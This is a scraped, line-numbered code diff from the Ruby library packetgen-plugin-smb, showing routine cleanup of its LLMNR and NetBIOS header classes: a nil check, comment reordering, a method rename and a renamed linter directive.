# @option args [Symbol] :token +:init+ or +:response+ to force selection of
|
105
111
|
# token CHOICE.
|
106
112
|
def initialize(args={})
|
107
113
|
token = args.delete(:token)
|
@@ -113,14 +119,14 @@ module PacketGen::Plugin
|
|
113
119
|
# @param [String] str
|
114
120
|
# @return [self]
|
115
121
|
def read(str)
|
122
|
+
return self if str.nil?
|
123
|
+
|
116
124
|
parse!(str, ber: true)
|
117
125
|
self
|
118
126
|
end
|
119
127
|
|
120
|
-
|
121
|
-
|
122
|
-
def sz
|
123
|
-
to_der.size
|
128
|
+
def to_human
|
129
|
+
inspect
|
124
130
|
end
|
125
131
|
|
126
132
|
alias to_s to_der
|
@@ -1,10 +1,10 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
1
3
|
# This file is part of packetgen-plugin-smb.
|
2
4
|
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
3
5
|
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
4
6
|
# This program is published under MIT license.
|
5
7
|
|
6
|
-
# frozen_string_literal: true
|
7
|
-
|
8
8
|
module PacketGen::Plugin
|
9
9
|
# Link-Local Multicast Name Resolution (LLMNR) header ({https://tools.ietf.org/html/rfc4795 RFC 4795}).
|
10
10
|
# @author Sylvain Daubert
|
@@ -43,13 +43,13 @@ module PacketGen::Plugin
|
|
43
43
|
ip.dst = dst unless dst.nil?
|
44
44
|
ip.ttl = 1 if ip[:dst].mcast?
|
45
45
|
|
46
|
-
# rubocop:disable Lint/
|
46
|
+
# rubocop:disable Lint/SuppressedException
|
47
47
|
begin
|
48
48
|
llh = ll_header(self)
|
49
49
|
llh.dst = MAC_IPV4_MCAST if ip[:dst].mcast?
|
50
50
|
rescue PacketGen::FormatError
|
51
51
|
end
|
52
|
-
# rubocop:enable Lint/
|
52
|
+
# rubocop:enable Lint/SuppressedException
|
53
53
|
end
|
54
54
|
end
|
55
55
|
PacketGen::Header.add_class LLMNR
|
@@ -1,15 +1,15 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
1
3
|
# This file is part of PacketGen
|
2
4
|
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
3
5
|
# Copyright (C) 2016 Sylvain Daubert <sylvain.daubert@laposte.net>
|
4
6
|
# This program is published under MIT license.
|
5
7
|
|
6
|
-
# frozen_string_literal: true
|
7
|
-
|
8
8
|
module PacketGen::Plugin
|
9
9
|
# Module to group all NetBIOS headers
|
10
10
|
# @author Sylvain Daubert
|
11
11
|
module NetBIOS
|
12
|
-
# NetBIOS
|
12
|
+
# NetBIOS Datagram Service messages.
|
13
13
|
# @author Sylvain Daubert
|
14
14
|
class Datagram < PacketGen::Header::Base
|
15
15
|
# Give protocol name
|
@@ -1,13 +1,13 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
1
3
|
# This file is part of PacketGen
|
2
4
|
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
3
5
|
# Copyright (C) 2016 Sylvain Daubert <sylvain.daubert@laposte.net>
|
4
6
|
# This program is published under MIT license.
|
5
7
|
|
6
|
-
# frozen_string_literal: true
|
7
|
-
|
8
8
|
module PacketGen::Plugin
|
9
|
-
|
10
|
-
|
9
|
+
# Module to group all NetBIOS headers
|
10
|
+
# @author Sylvain Daubert
|
11
11
|
module NetBIOS
|
12
12
|
# NetBIOS Name.
|
13
13
|
# @author Sylvain Daubert
|